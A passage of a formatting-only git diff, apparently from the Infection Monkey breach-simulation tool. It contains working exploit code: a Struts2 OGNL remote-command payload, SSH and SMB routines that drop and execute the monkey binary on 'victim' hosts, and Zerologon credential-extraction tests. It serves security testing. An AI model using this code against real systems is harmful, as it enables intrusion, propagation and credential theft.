_, stdout, stderr = ssh.exec_command( + "head -c 1 %s" % self._config.dropper_target_path_linux + ) stdout_res = stdout.read().strip() if stdout_res: # file exists - LOG.info("Host %s was already infected under the current configuration, done" % self.host) + LOG.info( + "Host %s was already infected under the current configuration, done" % self.host + ) return True # return already infected src_path = get_target_monkey(self.host) @@ -160,33 +172,44 @@ def _exploit_host(self): self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: - ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), - callback=self.log_transfer) + ftp.putfo( + file_obj, + self._config.dropper_target_path_linux, + file_size=monkeyfs.getsize(src_path), + callback=self.log_transfer, + ) ftp.chmod(self._config.dropper_target_path_linux, 0o777) status = ScanStatus.USED - T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send() + T1222Telem( + ScanStatus.USED, + "chmod 0777 %s" % self._config.dropper_target_path_linux, + self.host, + ).send() ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) status = ScanStatus.SCANNED - T1105Telem(status, - get_interface_to_target(self.host.ip_addr), - self.host.ip_addr, - src_path).send() + T1105Telem( + status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path + ).send() if status == ScanStatus.SCANNED: return False try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, - get_monkey_depth() - 1, - vulnerable_port=SSH_PORT) + cmdline += build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT + ) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) + LOG.info( + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + cmdline, + ) ssh.close() self.add_executed_cmd(cmdline) diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 9aba749a7aa..c08c174fbc8 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -21,15 +21,15 @@ class Struts2Exploiter(WebRCE): - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Struts2' + _TARGET_OS_TYPE = ["linux", "windows"] + _EXPLOITED_SERVICE = "Struts2" def __init__(self, host): super(Struts2Exploiter, self).__init__(host, None) def get_exploit_config(self): exploit_config = super(Struts2Exploiter, self).get_exploit_config() - exploit_config['dropper'] = True + exploit_config["dropper"] = True return exploit_config def build_potential_urls(self, ports, extensions=None): @@ -47,10 +47,12 @@ def build_potential_urls(self, ports, extensions=None): @staticmethod def get_redirected(url): # Returns false if url is not right - headers = {'User-Agent': 'Mozilla/5.0'} + headers = {"User-Agent": "Mozilla/5.0"} request = urllib.request.Request(url, headers=headers) try: - return urllib.request.urlopen(request, context=ssl._create_unverified_context()).geturl() + return urllib.request.urlopen( + request, context=ssl._create_unverified_context() + ).geturl() except urllib.error.URLError: LOG.error("Can't reach struts2 server") return False @@ -63,24 +65,26 @@ def exploit(self, url, cmd): """ cmd = re.sub(r"\\", r"\\\\", cmd) cmd = re.sub(r"'", r"\\'", cmd) - payload = "%%{(#_='multipart/form-data')." \ - "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ - "(#_memberAccess?" \ - "(#_memberAccess=#dm):" \ - "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ - "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ - "(#ognlUtil.getExcludedPackageNames().clear())." \ - "(#ognlUtil.getExcludedClasses().clear())." \ - "(#context.setMemberAccess(#dm))))." \ - "(#cmd='%s')." \ - "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ - "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ - "(#p=new java.lang.ProcessBuilder(#cmds))." \ - "(#p.redirectErrorStream(true)).(#process=#p.start())." \ - "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ - "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ - "(#ros.flush())}" % cmd - headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} + payload = ( + "%%{(#_='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?" + "(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#cmd='%s')." + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + "(#p=new java.lang.ProcessBuilder(#cmds))." + "(#p.redirectErrorStream(true)).(#process=#p.start())." + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + "(#ros.flush())}" % cmd + ) + headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload} try: request = urllib.request.Request(url, headers=headers) # Timeout added or else we would wait for all monkeys' output diff --git a/monkey/infection_monkey/exploit/tests/test_zerologon.py b/monkey/infection_monkey/exploit/tests/test_zerologon.py index efc8a75e294..b4a0833cebe 100644 --- a/monkey/infection_monkey/exploit/tests/test_zerologon.py +++ b/monkey/infection_monkey/exploit/tests/test_zerologon.py @@ -28,9 +28,7 @@ def mock_report_login_attempt(**kwargs): def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object): dummy_exploit_attempt_result = {"ErrorCode": 0} - assert zerologon_exploiter_object.assess_exploit_attempt_result( - dummy_exploit_attempt_result - ) + assert zerologon_exploiter_object.assess_exploit_attempt_result(dummy_exploit_attempt_result) def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object): @@ -56,8 +54,7 @@ def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_obje def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object): mock_dumped_secrets = [ - f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" - for i in range(len(USERS)) + f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS)) ] expected_extracted_creds = { USERS[0]: { @@ -71,24 +68,17 @@ def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object): "nt_hash": NT_HASHES[1], }, } - assert ( - zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) - is None - ) + assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object): mock_dumped_secrets = [ - f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" - for i in range(len(USERS)) + f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS)) ] expected_extracted_creds = { USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""}, USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""}, } - assert ( - zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) - is None - ) + assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds diff --git a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py b/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py index ca598ce7ced..99ab690b4a8 100644 --- a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py +++ b/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py @@ -2,8 +2,7 @@ from nmb.NetBIOS import NetBIOS from common.utils.exceptions import DomainControllerNameFetchError -from infection_monkey.exploit.zerologon_utils.vuln_assessment import \ - get_dc_details +from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details from infection_monkey.model.host import VictimHost @@ -19,6 +18,7 @@ def host(): def _get_stub_queryIPForName(netbios_names): def stub_queryIPForName(*args, **kwargs): return netbios_names + return stub_queryIPForName diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 901202d2d7b..cf94f6edc15 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -19,19 +19,20 @@ def get_target_monkey(host): if host.monkey_exe: return host.monkey_exe - if not host.os.get('type'): + if not host.os.get("type"): return None monkey_path = ControlClient.download_monkey_exe(host) - if host.os.get('machine') and monkey_path: + if host.os.get("machine") and monkey_path: host.monkey_exe = monkey_path if not monkey_path: - if host.os.get('type') == platform.system().lower(): + if host.os.get("type") == platform.system().lower(): # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe - if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ - host.os.get('machine', '').lower() == platform.machine().lower(): + if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get( + "machine", "" + ).lower() == platform.machine().lower(): monkey_path = sys.executable return monkey_path @@ -39,11 +40,13 @@ def get_target_monkey(host): def get_target_monkey_by_os(is_windows, is_32bit): from infection_monkey.control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) -def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None, - vulnerable_port=None): +def build_monkey_commandline_explicitly( + parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None +): cmdline = "" if parent is not None: @@ -66,12 +69,20 @@ def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, d def build_monkey_commandline(target_host, depth, vulnerable_port, location=None): from infection_monkey.config import GUID + return build_monkey_commandline_explicitly( - GUID, target_host.default_tunnel, target_host.default_server, depth, location, vulnerable_port) + GUID, + target_host.default_tunnel, + target_host.default_server, + depth, + location, + vulnerable_port, + ) def get_monkey_depth(): from infection_monkey.config import WormConfiguration + return WormConfiguration.depth @@ -82,21 +93,26 @@ def get_monkey_dest_path(url_to_monkey): :return: Corresponding monkey path from configuration """ from infection_monkey.config import WormConfiguration - if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + + if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) return False try: - if 'linux' in url_to_monkey: + if "linux" in url_to_monkey: return WormConfiguration.dropper_target_path_linux - elif 'windows-32' in url_to_monkey: + elif "windows-32" in url_to_monkey: return WormConfiguration.dropper_target_path_win_32 - elif 'windows-64' in url_to_monkey: + elif "windows-64" in url_to_monkey: return WormConfiguration.dropper_target_path_win_64 else: - LOG.error("Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen.") + LOG.error( + "Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen." + ) return False except AttributeError: - LOG.error("Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey") + LOG.error( + "Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey" + ) return False diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 3857c2cc9e1..d186adbab1f 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -13,13 +13,12 @@ from infection_monkey.network.tools import get_interface_to_target from infection_monkey.transport import HTTPServer, LockedHTTPServer -__author__ = 'itamar' +__author__ = "itamar" LOG = logging.getLogger(__name__) class HTTPTools(object): - @staticmethod def create_transfer(host, src_path, local_ip=None, local_port=None): if not local_port: @@ -35,11 +34,17 @@ def create_transfer(host, src_path, local_ip=None, local_port=None): httpd.daemon = True httpd.start() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd + return ( + "http://%s:%s/%s" + % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), + httpd, + ) @staticmethod def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port) + http_path, http_thread = HTTPTools.create_locked_transfer( + host, src_path, local_ip, local_port + ) if not http_path: raise Exception("Http transfer creation failed.") LOG.info("Started http server on %s", http_path) @@ -71,7 +76,11 @@ def create_locked_transfer(host, src_path, local_ip=None, local_port=None): httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) httpd.start() lock.acquire() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd + return ( + "http://%s:%s/%s" + % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), + httpd, + ) @staticmethod def get_port_from_url(url: str) -> int: @@ -88,7 +97,9 @@ def __init__(self, host): def start(self): # Get monkey exe for host and it's path src_path = try_get_target_monkey(self.host) - self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path) + self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer( + self.host, src_path + ) def stop(self): if not self.http_path or not self.http_thread: diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index 5c4415fe3d7..052ab18e5bb 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -45,15 +45,17 @@ def is_suffix_and_prefix_too_long(self): def split_into_array_of_smaller_payloads(self): if self.is_suffix_and_prefix_too_long(): - raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already " - "exceeds required length of command.") + raise Exception( + "Can't split command into smaller sub-commands because commands' prefix and suffix already " + "exceeds required length of command." + ) elif self.command == "": return [self.prefix + self.suffix] - wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) - commands = [self.get_payload(part) - for part - in wrapper.wrap(self.command)] + wrapper = textwrap.TextWrapper( + drop_whitespace=False, width=self.get_max_sub_payload_length() + ) + commands = [self.get_payload(part) for part in wrapper.wrap(self.command)] return commands def get_max_sub_payload_length(self): diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py index 2aaa6dc1212..18dcf6df244 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -13,20 +13,26 @@ def test_get_payload(self): def test_is_suffix_and_prefix_too_long(self): pld_fail = LimitedSizePayload("b", 2, "a", "c") pld_success = LimitedSizePayload("b", 3, "a", "c") - assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long() + assert ( + pld_fail.is_suffix_and_prefix_too_long() + and not pld_success.is_suffix_and_prefix_too_long() + ) def test_split_into_array_of_smaller_payloads(self): test_str1 = "123456789" pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") array1 = pld1.split_into_array_of_smaller_payloads() - test1 = bool(array1[0] == "prefix1234suffix" and - array1[1] == "prefix5678suffix" and - array1[2] == "prefix9suffix") + test1 = bool( + array1[0] == "prefix1234suffix" + and array1[1] == "prefix5678suffix" + and array1[2] == "prefix9suffix" + ) test_str2 = "12345678" pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") array2 = pld2.split_into_array_of_smaller_payloads() - test2 = bool(array2[0] == "prefix1234suffix" and - array2[1] == "prefix5678suffix" and len(array2) == 2) + test2 = bool( + array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(array2) == 2 + ) assert test1 and test2 diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 705f691e569..9943b413502 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -13,32 +13,37 @@ from infection_monkey.network.tools import get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem -__author__ = 'itamar' +__author__ = "itamar" LOG = logging.getLogger(__name__) class SmbTools(object): - @staticmethod - def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): + def copy_file( + host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 + ): assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) config = infection_monkey.config.WormConfiguration src_file_size = monkeyfs.getsize(src_path) - smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + smb, dialect = SmbTools.new_smb_connection( + host, username, password, lm_hash, ntlm_hash, timeout + ) if not smb: return None # skip guest users if smb.isGuestSession() > 0: - LOG.debug("Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s'," - " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash)) + LOG.debug( + "Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s'," + " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), + ) try: smb.logoff() @@ -50,53 +55,57 @@ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_has try: resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) except Exception as exc: - LOG.debug("Error requesting server info from %r over SMB: %s", - host, exc) + LOG.debug("Error requesting server info from %r over SMB: %s", host, exc) return None - info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], - 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], - 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), - 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), - 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), - 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']} + info = { + "major_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"], + "minor_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"], + "server_name": resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "), + "server_comment": resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "), + "server_user_path": resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "), + "simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"], + } - LOG.debug("Connected to %r using %s:\n%s", - host, dialect, pprint.pformat(info)) + LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info)) try: resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) except Exception as exc: - LOG.debug("Error enumerating server shares from %r over SMB: %s", - host, exc) + LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc) return None - resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] + resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"] high_priority_shares = () low_priority_shares = () file_name = ntpath.split(dst_path)[-1] for i in range(len(resp)): - share_name = resp[i]['shi2_netname'].strip("\0 ") - share_path = resp[i]['shi2_path'].strip("\0 ") - current_uses = resp[i]['shi2_current_uses'] - max_uses = resp[i]['shi2_max_uses'] + share_name = resp[i]["shi2_netname"].strip("\0 ") + share_path = resp[i]["shi2_path"].strip("\0 ") + current_uses = resp[i]["shi2_current_uses"] + max_uses = resp[i]["shi2_max_uses"] if current_uses >= max_uses: - LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded", - share_name, host) + LOG.debug( + "Skipping share '%s' on victim %r because max uses is exceeded", + share_name, + host, + ) continue elif not share_path: - LOG.debug("Skipping share '%s' on victim %r because share path is invalid", - share_name, host) + LOG.debug( + "Skipping share '%s' on victim %r because share path is invalid", + share_name, + host, + ) continue - share_info = {'share_name': share_name, - 'share_path': share_path} + share_info = {"share_name": share_name, "share_path": share_path} if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) + high_priority_shares += ((ntpath.sep + dst_path[len(share_path) :], share_info),) low_priority_shares += ((ntpath.sep + file_name, share_info),) @@ -104,23 +113,31 @@ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_has file_uploaded = False for remote_path, share in shares: - share_name = share['share_name'] - share_path = share['share_path'] + share_name = share["share_name"] + share_path = share["share_path"] if not smb: - smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + smb, _ = SmbTools.new_smb_connection( + host, username, password, lm_hash, ntlm_hash, timeout + ) if not smb: return None try: smb.connectTree(share_name) except Exception as exc: - LOG.debug("Error connecting tree to share '%s' on victim %r: %s", - share_name, host, exc) + LOG.debug( + "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc + ) continue - LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r", - share_name, share_path, remote_path, host.ip_addr[0], ) + LOG.debug( + "Trying to copy monkey file to share '%s' [%s + %s] on victim %r", + share_name, + share_path, + remote_path, + host.ip_addr[0], + ) remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) @@ -133,32 +150,41 @@ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_has LOG.debug("Remote monkey file is same as source, skipping copy") return remote_full_path - LOG.debug("Remote monkey file is found but different, moving along with attack") + LOG.debug( + "Remote monkey file is found but different, moving along with attack" + ) except Exception: pass # file isn't found on remote victim, moving on try: - with monkeyfs.open(src_path, 'rb') as source_file: + with monkeyfs.open(src_path, "rb") as source_file: # make sure of the timeout smb.setTimeout(timeout) smb.putFile(share_name, remote_path, source_file.read) file_uploaded = True - T1105Telem(ScanStatus.USED, - get_interface_to_target(host.ip_addr), - host.ip_addr, - dst_path).send() - LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, share_name, share_path, host) + T1105Telem( + ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path + ).send() + LOG.info( + "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", + src_path, + share_name, + share_path, + host, + ) break except Exception as exc: - LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", - share_name, host, exc) - T1105Telem(ScanStatus.SCANNED, - get_interface_to_target(host.ip_addr), - host.ip_addr, - dst_path).send() + LOG.debug( + "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc + ) + T1105Telem( + ScanStatus.SCANNED, + get_interface_to_target(host.ip_addr), + host.ip_addr, + dst_path, + ).send() continue finally: try: @@ -169,39 +195,41 @@ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_has smb = None if not file_uploaded: - LOG.debug("Couldn't find a writable share for exploiting victim %r with " - "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash)) + LOG.debug( + "Couldn't find a writable share for exploiting victim %r with " + "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), + ) return None return remote_full_path @staticmethod - def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): + def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeout=60): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) except Exception as exc: - LOG.debug("SMB connection to %r on port 445 failed," - " trying port 139 (%s)", host, exc) + LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc) try: - smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) + smb = SMBConnection("*SMBSERVER", host.ip_addr, sess_port=139) except Exception as exc: - LOG.debug("SMB connection to %r on port 139 failed as well (%s)", - host, exc) + LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc) return None, None - dialect = {SMB_DIALECT: "SMBv1", - SMB2_DIALECT_002: "SMBv2.0", - SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") + dialect = { + SMB_DIALECT: "SMBv1", + SMB2_DIALECT_002: "SMBv2.0", + SMB2_DIALECT_21: "SMBv2.1", + }.get(smb.getDialect(), "SMBv3.0") # we know this should work because the WMI connection worked try: - smb.login(username, password, '', lm_hash, ntlm_hash) + smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: LOG.debug( "Error while logging into %r using user: %s, password (SHA-512): '%s', " @@ -211,7 +239,8 @@ def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeo Configuration.hash_sensitive_data(password), Configuration.hash_sensitive_data(lm_hash), Configuration.hash_sensitive_data(ntlm_hash), - exc) + exc, + ) return None, dialect smb.setTimeout(timeout) @@ -228,10 +257,9 @@ def execute_rpc_call(smb, rpc_func, *args): @staticmethod def get_dce_bind(smb): - rpctransport = transport.SMBTransport(smb.getRemoteHost(), - smb.getRemoteHost(), - filename=r'\srvsvc', - smb_connection=smb) + rpctransport = transport.SMBTransport( + smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb + ) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) diff --git a/monkey/infection_monkey/exploit/tools/test_helpers.py b/monkey/infection_monkey/exploit/tools/test_helpers.py index 5d7dd422dc6..60cc136e558 100644 --- a/monkey/infection_monkey/exploit/tools/test_helpers.py +++ b/monkey/infection_monkey/exploit/tools/test_helpers.py @@ -4,25 +4,20 @@ class TestHelpers(unittest.TestCase): - def test_build_monkey_commandline_explicitly(self): test1 = " -p 101010 -t 10.10.101.10 -s 127.127.127.127:5000 -d 0 -l C:\\windows\\abc -vp 80" - result1 = build_monkey_commandline_explicitly(101010, - "10.10.101.10", - "127.127.127.127:5000", - 0, - "C:\\windows\\abc", - 80) + result1 = build_monkey_commandline_explicitly( + 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 + ) test2 = " -p parent -s 127.127.127.127:5000 -d 0 -vp 80" - result2 = build_monkey_commandline_explicitly(parent="parent", - server="127.127.127.127:5000", - depth="0", - vulnerable_port="80") + result2 = build_monkey_commandline_explicitly( + parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80" + ) self.assertEqual(test1, result1) self.assertEqual(test2, result2) -if __name__ == '__main__': +if __name__ == "__main__": unittest.main() diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index f621900766d..b6d96aa820d 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -5,7 +5,7 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL -__author__ = 'itamar' +__author__ = "itamar" LOG = logging.getLogger(__name__) @@ -16,8 +16,10 @@ class DceRpcException(Exception): class AccessDeniedException(Exception): def __init__(self, host, username, password, domain): - super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % - (host, domain, username, password)) + super(AccessDeniedException, self).__init__( + "Access is denied to %r with username %s\\%s and password %r" + % (host, domain, username, password) + ) class WmiTools(object): @@ -34,17 +36,20 @@ def connect(self, host, username, password, domain=None, lmhash="", nthash=""): if not domain: domain = host.ip_addr - dcom = DCOMConnection(host.ip_addr, - username=username, - password=password, - domain=domain, - lmhash=lmhash, - nthash=nthash, - oxidResolver=True) + dcom = DCOMConnection( + host.ip_addr, + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + oxidResolver=True, + ) try: - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, - wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx( + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + ) except Exception as exc: dcom.disconnect() @@ -56,7 +61,7 @@ def connect(self, host, username, password, domain=None, lmhash="", nthash=""): iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: - self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self._iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) self._dcom = dcom except Exception: dcom.disconnect() @@ -128,7 +133,7 @@ def list_object(wmi_connection, object_name, fields=None, where=None): try: while True: try: - next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] + next_item = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] record = next_item.getProperties() if not fields: @@ -136,7 +141,7 @@ def list_object(wmi_connection, object_name, fields=None, where=None): query_record = {} for key in fields: - query_record[key] = record[key]['value'] + query_record[key] = record[key]["value"] query.append(query_record) except DCERPCSessionError as exc: diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 